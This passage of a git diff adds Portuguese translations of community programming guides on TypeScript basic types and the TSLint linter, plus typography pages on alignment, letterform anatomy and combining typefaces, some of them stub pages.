+Na imagem acima, você pode identificar as diferenças entre `JavaScript` e `TypeScript` neste programa de multiplicação muito simples que apenas imprime o produto de dois números pré-definidos.
+
+### Quais são essas diferenças? 🤔️
+
+Eles são **tipos** !
+
+Então `JavaScript` tem digitação dinâmica em que uma variável declarada como um número pode ser transformada em uma string onde como `TypeScript` tem tipagem estática significando que você declara antecipadamente que tipo de valor a variável manterá e não muda.
+
+Nesse arquivo `multiplication.ts` , declaro que todas essas variáveis ​​são números, para que não possam ser alteradas para outra coisa.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/linter/index.md b/client/src/guide/portuguese/typescript/linter/index.md
new file mode 100644
index 0000000000..0ee5c655d8
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/linter/index.md
@@ -0,0 +1,24 @@
+---
+title: Linter
+localeTitle: Linter
+---
+## Linter
+
+![TSLint](https://2.bp.blogspot.com/-w7oeP1geosE/V82a740bTbI/AAAAAAAAAu4/-zJxZsmmH6garbdmUplX0n5Yz5zDsvcVQCLcB/s1600/tslint.png)
+
+Um [linter](https://www.wikiwand.com/en/Lint_(software) é definido como uma ferramenta que detecta e sinaliza erros nas linguagens de programação, incluindo erros estilísticos.
+
+Para TypeScript, o [TSLint](http://palantir.github.io/tslint) é a opção de linter mais popular.
+
+O TSLint é uma ferramenta de análise estática extensível que verifica o código do TypeScript quanto a erros de legibilidade, manutenibilidade e funcionalidade.
+
+É amplamente suportado por editores modernos e sistemas de construção e pode ser personalizado com suas próprias regras, configurações e formatadores de cotão.
+
+### Instalando o TSLint
+
+Este comando irá instalar globalmente o `TSLint` pacote usando `npm` , um gerenciador de pacotes popular.
+
+```bash
+npm i -g tslint 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/never-type/index.md b/client/src/guide/portuguese/typescript/never-type/index.md
new file mode 100644
index 0000000000..569f7f91df
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/never-type/index.md
@@ -0,0 +1,28 @@
+---
+title: Never Type
+localeTitle: Nunca digite
+---
+# Nunca digite
+
+O tipo `never` representa o tipo de valores que nunca ocorrem. Por exemplo, `never` é o tipo de retorno para uma expressão de função ou uma expressão de função de seta que sempre lança uma exceção ou uma que nunca retorna; Variáveis ​​também adquirem o tipo `never` quando estreitadas por `any` tipo de guardas que nunca podem ser verdadeiras.
+
+O tipo `never` é um subtipo de, e atribuível a, todo tipo; no entanto, nenhum tipo é um subtipo de, ou atribuível a, `never` (exceto nunca em si). Mesmo qualquer não é atribuível a nunca.
+
+```typescript
+// Function returning never must have unreachable end point 
+ function error(message: string): never { 
+    throw new Error(message); 
+ } 
+ 
+ // Inferred return type is never 
+ function fail() { 
+    return error("Something failed"); 
+ } 
+ 
+ // Function returning never must have unreachable end point 
+ function infiniteLoop(): never { 
+    while (true) { 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/null-type/index.md b/client/src/guide/portuguese/typescript/null-type/index.md
new file mode 100644
index 0000000000..6faf1f6695
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/null-type/index.md
@@ -0,0 +1,21 @@
+---
+title: Null Type
+localeTitle: Tipo nulo
+---
+## Tipo nulo
+
+Em TypeScript, o tipo nulo tem os valores nulos. Nulo é valores válidos de todo tipo.
+
+```ts
+let u: null = null; 
+```
+
+Ao usar o sinalizador --strictNullChecks, null é somente atribuível para void e seu tipo.
+
+```ts
+let s = "foo"; 
+ s = null; // error, 'null' is not assignable to 'string' 
+ let sn: string | null = "bar"; 
+ sn = null; // ok 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/number-type/index.md b/client/src/guide/portuguese/typescript/number-type/index.md
new file mode 100644
index 0000000000..4be19df3f5
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/number-type/index.md
@@ -0,0 +1,15 @@
+---
+title: Number Type
+localeTitle: Tipo de Número
+---
+# Tipo de Número
+
+Todos os números no TypeScript são valores de ponto flutuante. O TypeScript suporta valores literais binários e octal do ES6.
+
+```typescript
+let decimal: number = 7; 
+ let hex: number = 0xf00d; 
+ let binary: number = 0b0110; 
+ let octal: number = 0o531; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/string-type/index.md b/client/src/guide/portuguese/typescript/string-type/index.md
new file mode 100644
index 0000000000..2ab626b56d
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/string-type/index.md
@@ -0,0 +1,56 @@
+---
+title: String Type
+localeTitle: Tipo de String
+---
+# Tipo de String
+
+Seqüências de caracteres podem ser escritas com `''` aspas simples ou `""` aspas duplas. Seja consistente com seu código e escolha um estilo.
+
+```typescript
+let dog: string = 'Fido'; 
+ let activity: string = "Playing Outside"; 
+```
+
+Seqüências de caracteres podem ser escritas usando literais de modelo:
+
+```typescript
+let greeting: string = `Hello, ${firstName} ${lastName}, thank you for attending the ${eventName} event.`; 
+```
+
+## Métodos embutidos
+
+No tipo do Datilografe você pode usar algumas funções internas. Cada tipo tem métodos comuns e exclusivos. Abaixo você pode ler sobre os mais usados ​​dos métodos do tipo string.
+
+### dividir ('separador', limite)
+
+Com a função split, você pode dividir sua string em um separador especificado. Você pode definir um número limite, isso indica quantas divisões precisam ser feitas. A string dividida retorna em um tipo de matriz.
+
+```typescript
+let names: string = 'Sarah,Lily,John,Paula,Harvey'; 
+ let array: string[] = names.split(','); 
+ //array = ['Sarah','Lily','John','Paula','Harvey'] 
+ let array2: string[] = names.split(',',2); 
+ //array2 = ['Sarah','Lily'] 
+```
+
+### substr (startAt, length)
+
+Esse método retorna com uma substring, que estrela o caractere `startAt` da string original e seu comprimento é `length` .
+
+```typescript
+let names: string = 'Harvey Specter'; 
+ let substr: string = names.substr(3,10); 
+ //substr = 'rvey Spect' 
+```
+
+### substring (startAt, endAt)
+
+Esse método é semelhante ao substr (), mas possui parâmetros diferentes. O segundo parâmetro também é um índice sobre a string original, não um número de comprimento.
+
+```typescript
+let names: string = 'Harvey Specter'; 
+ let substring: string = names.substring(3,10); 
+ //substring = 'rvey Spe' 
+```
+
+[Mais métodos e descrição no TutorialsPoint](https://www.tutorialspoint.com/typescript/typescript_strings.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/tuple-type/index.md b/client/src/guide/portuguese/typescript/tuple-type/index.md
new file mode 100644
index 0000000000..2b21bf117f
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/tuple-type/index.md
@@ -0,0 +1,71 @@
+---
+title: Tuple Type
+localeTitle: Tipo de tupla
+---
+# Tipo de tupla
+
+Expresse uma matriz na qual um número fixo de elementos de tipos é conhecido, mas não é o mesmo.
+
+```typescript
+let arr: [string, number]; 
+ 
+ // This is correct 
+ arr = ['Hello', 7]; 
+ 
+ //This is incorrect 
+ arr = [7, 'Hello']; 
+```
+
+Ao acessar um elemento fora dos índices conhecidos, ele usará um tipo de união:
+
+```typescript
+arr[3] = 'World!' 
+ // OK, 'string' can be assigned to 'string | number' 
+ 
+ // Error, 'boolean' is not a 'string | number' 
+ arr[5] = false; 
+ // Error, 'boolean' is not a 'string | number' 
+```
+
+## Propriedades
+
+No tipo do Typescript, você pode ter algumas propriedades de construção. Comprimento do Forexample ou alguns outros tipos exclusivos de cada.
+
+### comprimento
+
+Esta propriedade disse, quantos elementos tem seu elemento.
+
+```typescript
+let tuple = []; //you can initialize it after the declaration too, not just the method above 
+ tuple[0] = 10; 
+ tuple[1] = 'Mike'; 
+ let number = tuple.length; 
+ //number = 2; 
+```
+
+## Métodos embutidos
+
+No tipo do Datilografe você pode usar algumas funções internas. Cada tipo tem métodos comuns e exclusivos. Abaixo você pode ler sobre os mais usados ​​dos métodos do tipo tupla.
+
+### pop ()
+
+Remove o último elemento de uma tupla.
+
+```typescript
+var tuple = [10,'Emma',11,'Lily',12,'Mike Ross']; 
+ tuple.pop(); 
+ //tuple = [10,'Emma',11,'Lily',12,] 
+ //We popped 'Mike Ross' from the tuple 
+```
+
+### empurrar()
+
+Adiciona elemento ao final da tupla.
+
+```typescript
+var tuple = [10,'Emma',11,'Lily',12,'Mike Ross']; 
+ tuple.push('Rachel Zane'); 
+ //tuple = [10,'Emma',11,'Lily',12,'Mike Ross','Rachel Zane'] 
+```
+
+[Mais informações sobre tuplas no TutorialsPoint](https://www.tutorialspoint.com/typescript/typescript_tuples.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/undefined-type/index.md b/client/src/guide/portuguese/typescript/undefined-type/index.md
new file mode 100644
index 0000000000..e7fddb4a58
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/undefined-type/index.md
@@ -0,0 +1,35 @@
+---
+title: Undefined Type
+localeTitle: Tipo indefinido
+---
+## Tipo indefinido
+
+Em TypeScript, igual ao tipo nulo, o tipo indefinido possui os valores indefinidos. Indefinido são valores válidos de todos os tipos.
+
+```ts
+let u: undefined = undefined; 
+```
+
+Ao usar o sinalizador `--strictNullChecks` , undefined é somente atribuível para void e seu tipo.
+
+```ts
+let s = "foo"; 
+ s = null; // error, 'null' is not assignable to 'string' 
+ let sn: string | null = "bar"; 
+ sn = null; // ok 
+ 
+ sn = undefined; // error, 'undefined' is not assignable to 'string | null' 
+```
+
+Com `--strictNullChecks` , um parâmetro opcional adiciona automaticamente `| undefined` :
+
+```ts
+function f(x: number, y?: number) { 
+    return x + (y || 0); 
+ } 
+ f(1, 2); 
+ f(1); 
+ f(1, undefined); 
+ f(1, null); // error, 'null' is not assignable to 'number | undefined' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/void-type/index.md b/client/src/guide/portuguese/typescript/void-type/index.md
new file mode 100644
index 0000000000..9785f42ebd
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/void-type/index.md
@@ -0,0 +1,15 @@
+---
+title: Void Type
+localeTitle: Tipo vazio
+---
+# Tipo vazio
+
+Não deve ser usado para variáveis, use `null` ou `undefined` .  
+No entanto, use-o para funções que não retornam um valor.
+
+```typescript
+const greeting(): void { 
+    alert('Hello, and Welcome to My Webpage!'); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/alignment/index.md b/client/src/guide/portuguese/typography/alignment/index.md
new file mode 100644
index 0000000000..e9da60aa0b
--- /dev/null
+++ b/client/src/guide/portuguese/typography/alignment/index.md
@@ -0,0 +1,68 @@
+---
+title: Alignment
+localeTitle: Alinhamento
+---
+## Alinhamento
+
+O alinhamento tipográfico altera o fluxo de texto em um documento. Os designers podem usar essa ferramenta poderosa para aprimorar sutilmente a apresentação do texto, dando-lhe forma visual e contexto.
+
+Experimente o alinhamento para encontrar novas combinações visuais empolgantes que destacam seu conteúdo. Certifique-se de testar erros de alinhamento em diferentes dispositivos e navegadores.
+
+Use CSS para alinhar o texto sempre que possível. Você pode encontrar tags de alinhamento HTML (por exemplo, `<p align="right"></p>` ou `<center></center>` ), mas elas estão obsoletas no HTML 5.
+
+### Texto justificado à esquerda
+
+Padrão, `text-align: left;`
+
+Em caso de dúvida, o tipo padrão de justificativa de texto geralmente é a melhor escolha. Especialmente para artigos ou longos blocos de texto, o texto justificado à esquerda é mais fácil de ler, já que as bordas irregulares à direita fornecem contexto visual para ajudar os leitores a manter seu lugar enquanto seus olhos mudam de linha para linha.
+
+Use para:
+
+*   Texto de corpo
+*   Mais tudo mais
+
+### Texto justificado à direita
+
+`text-align: right;`
+
+Texto justificado à direita e à esquerda pode ser útil como um tempero visual, mas é mais difícil de ler em trechos longos do que o texto justificado à esquerda.
+
+Pode ser usado para:
+
+*   Legendas
+*   Navegação
+*   Sidebars
+*   Citações
+
+### Texto Centrado
+
+`text-align: center;`
+
+Use texto centralizado para atrair os olhos dos leitores para pontos de ênfase (por exemplo, títulos, títulos de páginas, rodapés). Não use texto centralizado para longos blocos de texto, pois é extremamente cansativo de ler.
+
+Pode ser usado para:
+
+*   Cabeçalhos
+*   Título da página
+*   Navegação
+*   Sidebars
+*   Legendas
+*   Citações
+*   Rodapés
+
+### Texto justificado
+
+`text-align: justify;`
+
+Texto com justificativa completa é complicado de recomendar para o corpo do texto, pois grandes lacunas podem aparecer entre as palavras em algumas linhas. No entanto, desgionadores habilidosos podem fazer uso bonito dele.
+
+Pode ser usado para:
+
+*   Legendas
+*   Notas abertas
+
+#### Mais Informações:
+
+*   [Artigo da Wikipédia](https://en.wikipedia.org/wiki/Typographic_alignment)
+*   [Guia de estilo da web](https://webstyleguide.com/wsg2/type/align.html)
+*   [Alinhamento de texto na Web](http://www.webpagemistakes.ca/text-alignment-on-the-web/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/anatomy-of-letterforms/index.md b/client/src/guide/portuguese/typography/anatomy-of-letterforms/index.md
new file mode 100644
index 0000000000..e13a652470
--- /dev/null
+++ b/client/src/guide/portuguese/typography/anatomy-of-letterforms/index.md
@@ -0,0 +1,132 @@
+---
+title: Anatomy of Letterforms
+localeTitle: Anatomia das Letras
+---
+## Anatomia das Letras
+
+A anatomia do Letterforms descreve os diferentes elementos que compõem as letras impressas em um tipo de letra. A figura abaixo mostra as diferentes partes das letras em um tipo de letra.
+
+![texto alternativo](https://upload.wikimedia.org/wikipedia/commons/a/a3/Typographia.svg)
+
+> Partes de um glifo: 1) x-altura; 2) linha ascendente; 3) ápice; 4) linha de base; 5) ascendente; 6) barra transversal; 7) caule; 8) serif; 9) perna; 10) tigela; 11) contador; 12) colarinho; 13) loop; 14) orelha; 15) empate; 16) barra horizontal; 17) braço; 18) barra vertical; 19) altura do boné; 20) linha descendente.
+
+Um tipo de letra consiste em 3 partes diferentes 1) **Traços** 2) **Terminais** 3) **Espaço**
+
+#### Traços
+
+Golpe refere-se ao corpo principal da letra. Eles podem ser retos, como em letras como _l_ , _z_ , _k_ , _v_ ou curvas como em _c_ ou _o_ . As diferentes partes do traço são dadas abaixo
+
+*   A linha imaginária na qual a maioria dos personagens se encontra é conhecida como a **Linha de Base** (4).
+    
+*   O cabo ou **linhagem** (19) é outra linha imaginária que descreve a altura de todos os alfabetos maiúsculos.
+    
+*   A linha horizontal imaginária que marca a borda superior das letras minúsculas é a linha **média** .
+    
+*   A **altura x** (1) é a altura do x minúsculo. Em outras palavras, é a distância entre a linha de base e a linha média.
+    
+*   O principal traço vertical ou diagonal em uma forma de letra é conhecido como **Stem** (7).
+    
+*   Os traços que conectam duas linhas nas letras maiúsculas de _A_ e _H_ ou traços cruzados em _t_ são conhecidos como **Crossbar** (6).
+    
+*   Quando o traço de uma letra minúscula se eleva acima da linha média, como em _l,_ ela é chamada de **ascendente** (5). A **linha Ascender** (2) é a linha imaginária que descreve a distância entre a linha de base e o topo do ascendente.
+    
+*   Quando o traço de uma letra minúscula cai abaixo da linha de base, como em _g,_ ela é chamada de **descendente** . A **linha Descendente** (20) é a linha imaginária que representa a distância entre a linha de base e a base do descendente.
+    
+*   Um golpe de arqueamento como no topo de um _R_ é chamado de **Ombro** ou às vezes apenas um _arco_ , como em _h_ , _n_ , _m_ .
+    
+*   Um traço curvo fechado é chamado de **Bowl** (10).
+    
+*   O derrame diagonal inferior visto em _K_ e _R_ é chamado de **perna** (9).
+    
+*   Um traço horizontal curta visto no centro de _E,_ _F_ e no curso de meio _E_ e _F,_ é chamado de **Bar.**
+    
+*   O traço horizontal mais longo na parte superior ou inferior, como visto em _E_ e _F,_ é chamado de **Braço** (17).
+    
+*   O ponto acima da minúscula _j_ e _i_ é chamado de **Título** ou ponto ou um jota.
+    
+*   A parte inferior do _g de_ dois andares é chamada de **Loop** (13).
+    
+
+#### Terminais
+
+Terminais são o fim dos traços. Eles são de dois tipos **Serif** e **Sans-Serif** . Um terminal seriado tem profusões nas bordas que podem ser descritas como uma cunha, bulbosa, gota de lágrima, placa, etc. Por outro lado, o Sans-Serif não possui esses recursos de extensão no final dos traços. O Sans-Serif é usado frequentemente em telas digitais atualmente, pois eles têm melhor legibilidade em telas de baixa resolução, nas quais as serifas são difíceis de serem exibidas.
+
+#### Espaço
+
+Espaço refere-se ao espaço em branco encontrado entre as letras e também dentro de letras como _o_ e _p_ com loops fechados.
+
+Abaixo estão algumas definições básicas para ajudar você a entender como o tipo é descrito e medido.
+
+## Tipo de letra
+
+Um tipo refere-se a um grupo de caracteres, como letras, números e pontuação, que compartilham um design ou estilo comum. Times New Roman, Arial, Helvetica e Courier são todos tipos de letra.
+
+## Fonte
+
+Fontes referem-se aos meios pelos quais os tipos de letra são exibidos ou apresentados. Helvetica em tipo móvel é uma fonte, como é um arquivo de fonte TrueType.
+
+![A anatomia da tipografia](https://designschool.canva.com/wp-content/uploads/sites/2/2015/07/typography-terms-infographic-tb-1324x0.png)
+
+## Famílias Tipo
+
+As diferentes opções disponíveis em uma fonte formam uma família de tipos. Muitas fontes estão disponíveis no mínimo em roman, negrito e itálico. Outras famílias são muito maiores, como a Helvetica Neue, que está disponível em opções como Negrito Condensado, Preto Condensado, UltraLight, UltraLight Itálico, Light, Light Italic, Regular, etc.
+
+## Serif Fontes
+
+As fontes serif são reconhecíveis pelas pequenas linhas nas extremidades dos vários traçados de um caractere. Como essas linhas tornam o tipo de letra mais fácil de ler, orientando os olhos de uma letra para outra e de uma palavra para outra, as fontes com serifa costumam ser usadas para grandes blocos de texto, como em um livro. Times New Roman é um exemplo de uma fonte serif comum.
+
+## Fontes Sans Serif
+
+Serifas são pequenas linhas nas extremidades dos traços de caracteres. Sans serif, ou sem serif, refere-se a fontes sem essas linhas. As fontes sem serifa são usadas com freqüência quando um tipo de letra grande é necessário, como em um título de revista. Helvetica é um tipo de letra sem serifa popular. Fontes sem serifa também são comuns para o texto do site, pois podem ser mais fáceis de ler na tela. Arial é um tipo de letra sem serif que foi projetado especificamente para uso na tela.
+
+## Tamanhos de pontos
+
+O ponto é usado para medir o tamanho de uma fonte. Um ponto é igual a 1/72 de polegada. Quando um caractere é referido como 12pt, a altura total do bloco de texto (como um bloco de tipo móvel), e não apenas o próprio caractere, está sendo descrita. Devido a isso, dois tipos de letra no mesmo tamanho de ponto podem aparecer como tamanhos diferentes, com base na posição do caractere no bloco e quanto do bloco o caractere preenche.
+
+## Pica
+
+A paica é geralmente usada para medir linhas de texto. Uma pica é igual a 12 pontos e seis picas são iguais a uma polegada.
+
+## Linha de base
+
+A linha de base é a linha invisível na qual os personagens se sentam. Enquanto a linha de base pode diferir de tipo de letra para tipo de letra, é consistente dentro de um tipo de letra. Letras arredondadas, como "e", estendem-se ligeiramente abaixo da linha de base.
+
+## Altura X
+
+A altura x é a distância entre a linha média e a linha de base. Ele é chamado de x-height porque é a altura de um "x" minúsculo. Essa altura pode variar muito entre tipos de letra.
+
+## Rastreamento, Kerning e Letterspacing
+
+A distância entre os caracteres é controlada pelo rastreamento, kerning e espaçamento entre letras. O rastreamento é ajustado para alterar o espaço entre os caracteres de forma consistente em um bloco de texto. Isso pode ser usado para aumentar a legibilidade de um artigo de revista inteiro. Kerning é a redução de espaço entre os caracteres e o espaçamento entre letras é a adição de espaço entre os caracteres. Esses ajustes menores e precisos podem ser usados ​​para ajustar uma palavra específica, como em um logotipo ou uma grande manchete de uma matéria em um jornal. Todas as configurações podem ser experimentadas para criar efeitos artísticos de texto.
+
+## Conduzindo
+
+Liderar refere-se à distância entre linhas de texto. Essa distância, medida em pontos, é medida de uma linha de base para a próxima. Um bloco de texto pode ser chamado de 12pt com 6pts de lead extra, também conhecido como 12/18. Isso significa que há um tipo de 12pt em 18 pontos de altura total (12 mais os 6pts de avanço extra).
+
+Linha de base: A linha horizontal imaginária na qual a maioria das letras se baseia.
+
+Altura do boné: a linha horizontal imaginária que marca todas as letras maiúsculas termina no ponto mais alto.
+
+Barra transversal: A linha horizontal que conecta duas outras linhas em uma letra, como "A" ou "H".
+
+Contador: O espaço negativo dentro de uma carta. O contador pode ser totalmente fechado como letras "O" ou "A", ou parcialmente fechado como letras "C" ou "U".
+
+Descender: A linha horizontal imaginária que marca o ponto mais baixo de letras especiais de menor tamanho, como "g", "j", "p", "q" e "y".
+
+Perna: O traço angular inferior em letras como "K", "R" e "Q".
+
+Linha média: a linha horizontal imaginária que marca o ponto superior das letras minúsculas.
+
+Serif: O toque final no final do texto que cria uma aparência de "pé".
+
+Haste: O principal traço vertical em uma forma de letra. Isso também pode ser diagonal, como nas letras "W" ou "N".
+
+Título: O ponto acima das letras minúsculas, como "i" e "j".
+
+Letterform refere-se amplamente a uma forma de letras e inclui tipografia. Tipografia é a aparência de letras impressas. Para entender a tipografia, é necessário um determinado vocabulário. Ao aprender os termos da tipografia, você também pode se tornar um visualizador mais crítico do tipo impresso.
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Typeface_anatomy)
+*   [Sitepoint](https://www.sitepoint.com/the-anatomy-of-a-letterform/)
+*   [Typomil](http://typomil.com/anatomy/index.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/choosing-a-typeface/index.md b/client/src/guide/portuguese/typography/choosing-a-typeface/index.md
new file mode 100644
index 0000000000..5245cc1c9b
--- /dev/null
+++ b/client/src/guide/portuguese/typography/choosing-a-typeface/index.md
@@ -0,0 +1,52 @@
+---
+title: Choosing a Typeface
+localeTitle: Escolhendo um tipo de letra
+---
+## Escolhendo um tipo de letra
+
+A forma segue a função: trabalhe a partir de princípios gerais, não escolha tipos aleatoriamente.
+
+### Quando você não pode escolher
+
+Ao escolher um tipo de letra diferente está fora de questão, muitas vezes você pode adicionar um recurso visual a um projeto ajustando os tamanhos, pesos e estilos de fonte. Além disso, é sempre melhor tentar a estratégia de acertar e errar, experimentando algumas fontes diferentes antes de desistir de escolher outro tipo de letra. Dessa forma, talvez você não tenha o tipo de letra desejado, mas você terá uma idéia de vários outros tipos de fontes que você poderia usar em outros casos.
+
+### Quando você pode
+
+#### Aplicação Apropriada
+
+Você não quer se destacar de um jeito ruim. As necessidades do seu projeto muitas vezes restringem suas escolhas criativas: diretrizes de marca da empresa, tempo de download e renderização, padrões do sistema operacional, acessibilidade, suporte ao navegador etc.
+
+Procure exemplos da vida real de projetos como o seu para ter uma ideia de quais tipologias ou estilos são típicos. Designers aprimoraram essas normas através de anos de testes e consideração cuidadosa.
+
+#### Trabalhando juntos
+
+Escolha cuidadosamente fontes contrastantes (por exemplo, Minion e Myriad) e pesos (por exemplo, negrito e regular). Evite usar fontes demais ou muito semelhantes. Mais de três tipos de letra em uma única página devem dar a você uma pausa - muitas vezes o conteúdo é muito complexo para uma única página ou o design é não-coeso.
+
+Aprenda os tipos de fontes mais comuns (Geometric Sans, Humanist Sans, Oldstyle, Transitional e Modern, Slab Serifs) 1 e como eles interagem, e você poderá manipular com mais facilidade vários tipos de fontes juntos.
+
+#### Quebrar as regras
+
+No final, as diretrizes só podem levá-lo até agora. Criatividade e surpresa são componentes importantes do trabalho de design. Tanto quanto você prestar atenção aos padrões e convenções, preste atenção aos outliers. Estude como e por que eles quebram as regras para informar sua própria quebra de regras.
+
+## Dicas para escolher rapidamente um tipo de letra
+
+*   Planeje sua hierarquia
+*   Considere o que os outros já fizeram
+*   Experimente a maneira fácil
+*   Evite Anacronismos
+*   Evitar correlações banais
+*   Considere uma família de tipo estendido
+*   Fique com as combinações clássicas
+*   Use uma paleta limitada
+
+#### Fontes
+
+1.  Dan Meyer, [qual fonte devo usar? 5 Princípios para Escolher e Usar Tipos de Letra](https://www.smashingmagazine.com/2010/12/what-font-should-i-use-five-principles-for-choosing-and-using-typefaces/) , smashingmagazine.com, 2010.
+
+#### Mais Informações:
+
+[20 combinações de tipo perfeito](http://www.creativebloq.com/typography/20-perfect-type-pairings-3132120) [Escolhendo a fonte certa - um artigo conciso para referência](https://webdesign.tutsplus.com/articles/choosing-the-right-font-a-practical-guide-to-typography-on-the-web--webdesign-15?_ga=2.210603089.55465761.1538586153-769794395.1538586153)
+
+#### Mais Informações:
+
+*   [Artigo da revista Smashing - Como escolher um tipo de letra](https://www.smashingmagazine.com/2011/03/how-to-choose-a-typeface/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/color-and-tonal-value/index.md b/client/src/guide/portuguese/typography/color-and-tonal-value/index.md
new file mode 100644
index 0000000000..ce5396c0ce
--- /dev/null
+++ b/client/src/guide/portuguese/typography/color-and-tonal-value/index.md
@@ -0,0 +1,21 @@
+---
+title: Color and Tonal Value
+localeTitle: Cor e Valor Tonal
+---
+## Cor e Valor Tonal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/color-and-tonal-value/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+Na teoria das cores, um valor tonal é produzido adicionando branco, cinza ou preto a uma cor selecionada. Isso não altera o matiz, mas altera o colorfullness, também conhecido como saturação. Ao discutir o valor tonal, há três termos principais que devem ser discutidos: Matiz, Tom e Sombra.
+
+Matiz é a adição de branco a uma cor. Tint pode ser usado para destacar uma área, bem como começar a criar a ilusão de profundidade em um objeto.
+
+Tom é a adição de cinza a uma cor. A cor tonal cria uma cor mais atenuada e menos saturada.
+
+Sombra é a adição de preto a uma cor. A sombra pode ser usada para escurecer e área para criar a ilusão de profundidade em um objeto.
+
+Ao alterar o valor tonal de uma cor, você pode criar a ilusão de profundidade nas imagens, bem como alterar o nível de saturação para melhor aplicar a cor a uma emoção ou humor desejado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/color-and-value/index.md b/client/src/guide/portuguese/typography/color-and-value/index.md
new file mode 100644
index 0000000000..7ad28a5375
--- /dev/null
+++ b/client/src/guide/portuguese/typography/color-and-value/index.md
@@ -0,0 +1,29 @@
+---
+title: Color and Value
+localeTitle: Cor e valor
+---
+## Cor e valor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/color-and-value/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Valor é o elemento que se refere à leveza e escuridão. Onde você pode adicionar pigmentos claros ou escuros para dar uma tonalidade diferente.
+
+Matiz é um termo onde adicionar pigmentos pretos ou brancos resultaria em um tom da dita cor.
+
+A cor é o que o olho é estimulado pelo reflexo da luz em um dado objeto ou imagem.
+
+A cor é o elment de
+
+#### Mais Informações:
+
+Ao discutir conceitos visuais como "cor" e "valor" através do texto escrito, podem ocorrer alguns mal-entendidos. Em primeiro lugar, deve-se usar a cor como os vários matizes, como vermelho, laranja, amarelo, verde, azul, violeta e qualquer cobrição que eles fizerem. As algumas das rodas de cores mais básicas mostram essas 6 cores. Rodas de cores podem rapidamente se tornar mais complexas. Em vez de mostrar uma cor (matiz) de roxo, uma roda de cores pode mostrar várias combinações, como roxo, com mais de um matiz vermelho ou azul. Rodas coloridas podem ser projetadas para muitos propósitos. A seleção e os posicionamentos de várias cores podem ajudar artistas e designers a ver as cores de maneira diferente e, por sua vez, fazer seleções de cores mais informadas. A cor pode ser uma ferramenta poderosa para influenciar o espectador emocionalmente, de modo que aprender a falar e ver a cor além dos diferentes rótulos de matiz é importante.
+
+Valor é a leveza ou escuridão de uma cor. Quando uma cor é selecionada, como vermelho, a matiz pode ser alterada pela adição de preto ou branco. Ao posicionar uma cor clara ao lado de uma cor escura cria contraste. O olho humano é naturalmente atraído para o contraste. Aprender a usar o valor para criar contraste é uma habilidade de avaliação para direcionar os espectadores, direta ou indiretamente, para uma área na página.
+
+Denman Ross, criou uma escala de valor de nove etapas que varia de 1 - branco a 9 - preto. A escala de Ross está listada abaixo:
+
+1 - branco 2 - luz alta 3 - Luz 4 - Pouca luz 5 - Valor médio (o matiz original) 6 - Alto escuro 7 - Dark 8 - Escuro baixo 9 - preto
+
+Ao selecionar a cor, tenha em mente o valor para direcionar a atenção do espectador criando contraste.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/column-width-and-leading/index.md b/client/src/guide/portuguese/typography/column-width-and-leading/index.md
new file mode 100644
index 0000000000..6e994a7542
--- /dev/null
+++ b/client/src/guide/portuguese/typography/column-width-and-leading/index.md
@@ -0,0 +1,11 @@
+---
+title: Column Width and Leading
+localeTitle: Largura da coluna e líder
+---
+## Largura da coluna e líder
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/column-width-and-leading/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/combining-typefaces/index.md b/client/src/guide/portuguese/typography/combining-typefaces/index.md
new file mode 100644
index 0000000000..b8ecdcc5e5
--- /dev/null
+++ b/client/src/guide/portuguese/typography/combining-typefaces/index.md
@@ -0,0 +1,41 @@
+---
+title: Combining Typefaces
+localeTitle: Combinando Fontes
+---
+## Combinando Fontes
+
+#### Noções básicas de emparelhamento de fontes
+
+Quais fontes parecem boas juntas e quais não são? Se você já se deparou com essa questão, não está sozinho. Aprenda como combinar fontes e estilos diferentes, familiarizando-se com esses combos inteligentes!
+
+#### Experimente estes passos um por um
+
+*   Emparelhe uma fonte regular e em negrito para criar um contraste sutil
+*   Equilibre uma fonte de script com uma fonte em negrito
+*   Emparelhe uma fonte alta e curta para criar interesse visual
+*   Parear fontes com pesos diferentes para criar um contraste forte
+*   Parear uma fonte regular e itálica para criar ênfase
+
+Não existem regras rígidas e rápidas para a escolha de tipos de letra, mas muitas vezes você pode evitar a necessidade de escolher novas fontes digitalizando um tipo de letra existente para criar uma hierarquia visual. Em caso de dúvida, mantenha-a simples.
+
